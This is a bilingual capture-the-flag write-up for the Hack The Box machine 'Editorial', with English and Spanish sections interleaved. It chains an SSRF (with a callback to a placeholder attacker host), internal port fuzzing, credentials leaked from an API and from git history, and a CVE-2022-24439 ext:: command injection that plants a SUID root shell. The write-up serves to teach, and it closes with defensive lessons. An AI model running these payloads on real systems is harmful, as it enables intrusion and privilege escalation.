Editorial
Executive summary — Editorial is an Easy Linux box with a very instructive chain end to end. A publisher's site lets you upload a book cover directly from a URL, which opens a classic SSRF in
/upload-cover. Using it as an internal port scanner withffufwe discover an unauthenticated API on127.0.0.1:5000that leaks thedevuser's credentials. Once inside over SSH, a forgotten git repository in the home directory keepsprod's password in its history (not the current code). Finally,prodcan sudo a script that clones repositories with GitPython 3.1.29, vulnerable to CVE-2022-24439: git'sext::transport allows injecting system commands, which we use to craft a SUID copy of/bin/shand get root. Path: SSRF → internal API → dev → git log → prod → GitPython (CVE-2022-24439) → root.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.10.105 |
Attack map
[80] editorial.htb → /upload-cover accepts a URL (bookurl) → SSRF confirmed
│ ffuf against 127.0.0.1 → internal port 5000 → unauth API leaks dev creds
▼
[SSH] dev (user.txt)
│ leftover git repo in ~/apps → history reveals prod credentials
▼
[su] prod
│ sudo clone_prod_change.py (GitPython 3.1.29) → CVE-2022-24439 (ext:: protocol)
▼
[ROOT] SUID shell via /bin/sh copied to /tmp/rootsh
1. Reconnaissance
Port and service scanning always comes first: it tells us the attack surface before touching anything else.
nmap -p- --min-rate 10000 10.129.10.105
22/tcp open ssh
80/tcp open http
nmap -sCV -p22,80 10.129.10.105
22/tcp open ssh OpenSSH 8.9p1
80/tcp open http nginx 1.18.0
The web service redirects to http://editorial.htb, so we add the domain to our hosts file to browse it by name:
echo "10.129.10.105 editorial.htb" | sudo tee -a /etc/hosts
ping -c 2 editorial.htb
Resumen ejecutivo — Editorial es una máquina Linux Easy con una cadena de explotación muy didáctica de principio a fin. La web de una editorial deja subir la portada de un libro directamente desde una URL, lo que abre una SSRF clásica en
/upload-cover. Usándola como escáner de puertos internos conffufdescubrimos una API sin autenticación en127.0.0.1:5000que filtra las credenciales del usuariodev. Ya dentro por SSH, un repositorio git olvidado en el home guarda en su historial (no en el código actual) la contraseña deprod. Finalmente,prodpuede ejecutar porsudoun script que clona repositorios con GitPython 3.1.29, vulnerable a CVE-2022-24439: el protocoloext::de git permite inyectar comandos del sistema, con los que fabricamos una copia SUID de/bin/shy obtenemos root. Recorrido SSRF → API interna → dev → git log → prod → GitPython (CVE-2022-24439) → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.10.105 |
Mapa del ataque
[80] editorial.htb → /upload-cover acepta una URL (bookurl) → SSRF confirmada
│ ffuf contra 127.0.0.1 → puerto interno 5000 → API sin auth filtra creds de dev
▼
[SSH] dev (user.txt)
│ repo git residual en ~/apps → historial revela credenciales de prod
▼
[su] prod
│ sudo clone_prod_change.py (GitPython 3.1.29) → CVE-2022-24439 (protocolo ext::)
▼
[ROOT] shell SUID vía /bin/sh copiado a /tmp/rootsh
1. Reconocimiento
El escaneo de puertos y servicios es siempre el primer paso: nos dice qué superficie de ataque tenemos antes de tocar nada.
nmap -p- --min-rate 10000 10.129.10.105
22/tcp open ssh
80/tcp open http
nmap -sCV -p22,80 10.129.10.105
22/tcp open ssh OpenSSH 8.9p1
80/tcp open http nginx 1.18.0
El servicio web redirige a http://editorial.htb, así que añadimos el dominio al fichero hosts para poder navegarlo por su nombre:
echo "10.129.10.105 editorial.htb" | sudo tee -a /etc/hosts
ping -c 2 editorial.htb
2. Web enumeration — the /upload form
The site is a publisher that lets you submit books. Browsing by hand we find /, /about and /upload. We confirm there's nothing else by fuzzing directories:
feroxbuster -u http://editorial.htb
/
/about
/upload (no additional routes)
/upload has a book-submission form with two buttons: Preview and Send book info. The interesting bit is that the cover can be loaded from a URL (the bookurl parameter), and clicking Preview makes the server fetch that resource. That «go get this URL for me» performed by the server itself is the classic SSRF vector.
3. Confirming the SSRF
An SSRF (Server-Side Request Forgery) happens when the server makes an HTTP request, on our behalf, to a URL we choose. If we point that URL at our own machine and see the request arrive, the SSRF is confirmed.
nc -lvnp 80
In the cover field of the form we enter our attack machine's address and click Preview:
http://<ATTACKER_IP>/test
The listener catches Editorial's own server making the request:
GET /test HTTP/1.1
Host: <ATTACKER_IP>
User-Agent: python-requests/2.25.1
The User-Agent gives away that the backend uses Python's requests library to fetch the cover. SSRF confirmed.
4. Arbitrary content read via SSRF
If the server doesn't just request the URL but also stores what it downloads, the SSRF stops being just a «ping» to internal services: it becomes a way to read any content reachable from the server.
python3 -m http.server 80
We upload any image as the cover, pointing at our URL. The application downloads the file and stores it under /static/uploads/<uuid>. Repeating the test with a plain-text or HTML file shows the app doesn't validate content type: it stores whatever we serve, as long as the source URL points to something reachable from the server.
5. Mapping internal services with ffuf
Since the server will obey any URL we hand it in
bookurl, we can use it as a port scanner by proxy: fuzz the port on127.0.0.1and watch for a response that changes size.
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Type: multipart/form-data; boundary=---------------------------123
-----------------------------123
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
-----------------------------123--
We save that template as ssrf.req and fuzz the whole port range:
ffuf -u http://editorial.htb/upload-cover \
-request ssrf.req \
-w <(seq 0 65535) \
-ac
5000 (only port with a different response)
There's an HTTP service listening only on localhost, on port 5000 — unreachable from the outside, but perfectly reachable through the SSRF.
6. Unauthenticated internal API → dev credentials
We use the SSRF to query that API's root and get a JSON list of available endpoints, including /api/latest/metadata/messages/authors. We query it:
http://127.0.0.1:5000/api/latest/metadata/messages/authors
{
"template_mail_message":
"Username: dev
Password: dev080217_devAPI!@"
}
A mail template meant for internal use leaks the dev user's credentials in plain text: dev / dev080217_devAPI!@.
7. SSH access as dev — user.txt
netexec ssh editorial.htb -u dev -p 'dev080217_devAPI!@'
[+] dev:dev080217_devAPI!@
ssh dev@editorial.htb
cat ~/user.txt
8. Lateral movement — git history → prod
As dev, sudo -l gives nothing («Sorry, user dev may not run sudo»). We check which other users have a shell:
cat /etc/passwd | grep bash
root
prod
dev
prod is the obvious target. In dev's home, inside ~/apps, a plain listing looks empty, but -la reveals a .git directory: a leftover repository.
The repo's current code is clean, but the history is not: we review old commits, where secrets that were later «removed» from the code, without purging the history, often remain.
cd ~/apps
git log --oneline
8ad0f31
dfef9f2
b73481b
1e84a03
3251ec9
One commit message stands out: change(api): downgrading prod to dev — it looks like a credential change between environments. Diffing two of those commits confirms it, revealing prod's password in plain text:
git diff 1e84a03 b73481b
Username: prod
Password: 080217_Producti0n_2023!@
ssh prod@editorial.htb
9. Escalation — sudo + GitPython (CVE-2022-24439)
sudo -l
(root) NOPASSWD: /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
prod can run, as root and without a password, a script that clones a git repository. We read it:
cat /opt/internal_apps/clone_changes/clone_prod_change.py
from git import Repo
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(
url_to_clone,
'new_changes',
multi_options=["-c protocol.ext.allow=always"]
)
The script uses the GitPython library to clone the URL we pass as an argument, and it explicitly enables
protocol.ext.allow=always: that setting turns on git'sext::transport, which can run an arbitrary system command instead of contacting a real remote repository.
pip freeze | grep -i git
GitPython==3.1.29
That version is vulnerable to CVE-2022-24439: it doesn't sanitise the source URL and allows argument injection via ext::. We first confirm we can run commands as root:
sudo python3 /opt/internal_apps/clone_changes/clone_prod_change.py \
'ext::sh -c touch%20/tmp/pwned'
Git returns an error (expected — there's no real repository to clone), but the file gets created anyway, owned by root:
ls -l /tmp/pwned
-rw-r--r-- 1 root root 0 ... /tmp/pwned
With command execution confirmed, we prepare a payload that leaves us a persistent SUID shell instead of a one-liner:
cat > /dev/shm/root.sh << 'EOF'
#!/bin/bash
cp /bin/sh /tmp/rootsh
chown root:root /tmp/rootsh
chmod 6777 /tmp/rootsh
EOF
chmod +x /dev/shm/root.sh
sudo python3 /opt/internal_apps/clone_changes/clone_prod_change.py \
'ext::sh -c /dev/shm/root.sh'
The git error shows up again (expected), but we check the result:
ls -l /tmp/rootsh
-rwsrwsrwx 1 root root ... /tmp/rootsh
A copy of /bin/sh with the SUID and SGID bits set. We run it with -p to keep the effective UID:
/tmp/rootsh -p
id
uid=1000(prod) euid=0(root)
cd /root
cat root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | /upload-cover (bookurl) | SSRF with no destination validation: allows scanning ports and querying internal services | Discovery of port 5000 and leak of dev credentials |
| Lateral | git repository in ~/apps | Secrets exposed in the history (not the current code) | prod credentials |
| PrivEsc | sudo clone_prod_change.py (GitPython 3.1.29) | CVE-2022-24439: unsanitised ext:: protocol in the clone URL | Command execution as root → SUID shell → root |
Lessons learned
- SSRF: validate and allow-list any URL the server will request; explicitly block
127.0.0.1and internal (RFC 1918) ranges. - Don't trust what the server downloads: if it also stores and serves it back, an SSRF becomes an arbitrary-read channel.
- Never commit secrets to git: even if you remove them later, they stay in history. Rotate any credential that ever touched a commit.
- Update dependencies: CVE-2022-24439 is fixed in GitPython ≥ 3.1.30.
- Beware sudo + interpreters with controlled input: a Python script that passes unvalidated arguments to a library like GitPython is often a direct road to root.
2. Enumeración web — el formulario /upload
La web es la de una editorial que permite enviar libros. Navegando a mano encontramos las rutas /, /about y /upload. Confirmamos que no hay nada más fuzzeando directorios:
feroxbuster -u http://editorial.htb
/
/about
/upload (sin rutas adicionales)
En /upload hay un formulario de subida de libros con dos botones: Preview y Send book info. Lo interesante es que la portada del libro se puede cargar desde una URL (parámetro bookurl) y el botón Preview hace que el servidor vaya a buscar ese recurso. Ese «tráeme esta URL» que ejecuta el propio servidor es el vector clásico de SSRF.
3. Confirmar la SSRF
Una SSRF (Server-Side Request Forgery) ocurre cuando el servidor hace, en nuestro nombre, una petición HTTP a una URL que nosotros elegimos. Si apuntamos esa URL a nuestra propia máquina y vemos llegar la petición, la SSRF queda confirmada.
nc -lvnp 80
En el campo de portada del formulario introducimos la IP de nuestra máquina de ataque y pulsamos Preview:
http://<ATTACKER_IP>/test
En el listener recibimos la petición del propio servidor de Editorial:
GET /test HTTP/1.1
Host: <ATTACKER_IP>
User-Agent: python-requests/2.25.1
El User-Agent delata que el backend usa la librería requests de Python para ir a buscar la portada. SSRF confirmada.
4. Lectura arbitraria de contenido vía SSRF
Si el servidor no solo solicita la URL sino que además guarda lo que descarga, la SSRF deja de ser solo un «ping» a servicios internos: se convierte en una manera de leer cualquier contenido accesible desde el servidor.
python3 -m http.server 80
Subimos una imagen cualquiera como portada usando nuestra URL. La aplicación descarga el fichero y lo guarda en /static/uploads/<uuid>. Repitiendo la prueba con un fichero de texto o HTML comprobamos que la aplicación no valida el tipo de contenido: guarda cualquier cosa que le sirvamos, siempre que la URL de origen apunte a algo accesible desde el servidor.
5. Mapear servicios internos con ffuf
Ya que el servidor obedece cualquier URL que le demos en
bookurl, podemos usarlo como escáner de puertos por proxy: fuzzeamos el puerto de127.0.0.1y observamos qué respuestas cambian de tamaño.
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Type: multipart/form-data; boundary=---------------------------123
-----------------------------123
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
-----------------------------123--
Guardamos esa plantilla como ssrf.req y fuzzeamos todo el rango de puertos:
ffuf -u http://editorial.htb/upload-cover \
-request ssrf.req \
-w <(seq 0 65535) \
-ac
5000 (único puerto con respuesta distinta)
Hay un servicio HTTP escuchando solo en localhost, en el puerto 5000 — inaccesible desde fuera, pero perfectamente alcanzable a través de la SSRF.
6. API interna sin autenticación → credenciales de dev
Usamos la SSRF para consultar la raíz de esa API y obtenemos un JSON con la lista de endpoints disponibles, entre ellos /api/latest/metadata/messages/authors. Lo consultamos:
http://127.0.0.1:5000/api/latest/metadata/messages/authors
{
"template_mail_message":
"Username: dev
Password: dev080217_devAPI!@"
}
Un mensaje de plantilla pensado para uso interno filtra en texto plano las credenciales del usuario dev: dev / dev080217_devAPI!@.
7. Acceso SSH como dev — user.txt
netexec ssh editorial.htb -u dev -p 'dev080217_devAPI!@'
[+] dev:dev080217_devAPI!@
ssh dev@editorial.htb
cat ~/user.txt
8. Movimiento lateral — historial git → prod
Como dev, sudo -l no da nada («Sorry, user dev may not run sudo»). Miramos qué otros usuarios tienen shell:
cat /etc/passwd | grep bash
root
prod
dev
prod es el objetivo evidente. En el home de dev, dentro de ~/apps, el listado normal parece vacío, pero con -la aparece un directorio .git: un repositorio residual.
El código actual del repo está limpio, pero el historial no: revisamos commits antiguos, donde a menudo quedan secretos que después se «eliminaron» del código sin purgar el historial.
cd ~/apps
git log --oneline
8ad0f31
dfef9f2
b73481b
1e84a03
3251ec9
Entre los mensajes de commit destaca uno: change(api): downgrading prod to dev — pinta a un cambio de credenciales entre entornos. Comparamos dos de esos commits y, en efecto, aparece la contraseña de prod en texto plano:
git diff 1e84a03 b73481b
Username: prod
Password: 080217_Producti0n_2023!@
ssh prod@editorial.htb
9. Escalada — sudo + GitPython (CVE-2022-24439)
sudo -l
(root) NOPASSWD: /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
prod puede ejecutar como root, sin contraseña, un script que clona un repositorio git. Lo leemos:
cat /opt/internal_apps/clone_changes/clone_prod_change.py
from git import Repo
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(
url_to_clone,
'new_changes',
multi_options=["-c protocol.ext.allow=always"]
)
El script usa la librería GitPython para clonar la URL que nosotros pasamos por argumento, y encima habilita explícitamente
protocol.ext.allow=always: ese ajuste activa el transporteext::de git, capaz de ejecutar un comando arbitrario del sistema en lugar de contactar con un repositorio remoto real.
pip freeze | grep -i git
GitPython==3.1.29
Esa versión es vulnerable a CVE-2022-24439: no sanea la URL de origen y permite inyección de argumentos vía ext::. Confirmamos primero que podemos ejecutar comandos como root:
sudo python3 /opt/internal_apps/clone_changes/clone_prod_change.py \
'ext::sh -c touch%20/tmp/pwned'
Git devuelve un error (esperado, no hay repositorio real que clonar), pero el fichero se crea igualmente, como root:
ls -l /tmp/pwned
-rw-r--r-- 1 root root 0 ... /tmp/pwned
Con la ejecución de comandos confirmada, preparamos un payload que nos deje una shell SUID persistente en vez de un one-liner:
cat > /dev/shm/root.sh << 'EOF'
#!/bin/bash
cp /bin/sh /tmp/rootsh
chown root:root /tmp/rootsh
chmod 6777 /tmp/rootsh
EOF
chmod +x /dev/shm/root.sh
sudo python3 /opt/internal_apps/clone_changes/clone_prod_change.py \
'ext::sh -c /dev/shm/root.sh'
De nuevo aparece el error de git (esperado), pero comprobamos el resultado:
ls -l /tmp/rootsh
-rwsrwsrwx 1 root root ... /tmp/rootsh
Copia de /bin/sh con bit SUID y SGID. La ejecutamos con -p para conservar el UID efectivo:
/tmp/rootsh -p
id
uid=1000(prod) euid=0(root)
cd /root
cat root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | /upload-cover (bookurl) | SSRF sin validar destino: permite escanear puertos y consultar servicios internos | Descubrimiento del puerto 5000 y filtrado de credenciales de dev |
| Lateral | Repositorio git en ~/apps | Secretos expuestos en el historial (no en el código actual) | Credenciales de prod |
| PrivEsc | sudo clone_prod_change.py (GitPython 3.1.29) | CVE-2022-24439: protocolo ext:: sin sanear en la URL de clonado | Ejecución de comandos como root → shell SUID → root |
Lecciones aprendidas
- SSRF: valida y filtra por lista blanca cualquier URL que el servidor vaya a solicitar; bloquea explícitamente
127.0.0.1y los rangos internos (RFC 1918). - No confíes en lo que el servidor descarga: si además lo almacena y lo sirve, una SSRF se convierte en un canal de lectura arbitraria.
- Nunca metas secretos en git: aunque los borres después, siguen en el historial. Rota cualquier credencial que haya pasado por un commit.
- Actualiza dependencias: CVE-2022-24439 se corrige en GitPython ≥ 3.1.30.
- Cuidado con sudo + intérpretes con entrada controlada: un script en Python que pasa argumentos sin validar a una librería como GitPython suele ser una vía directa a root.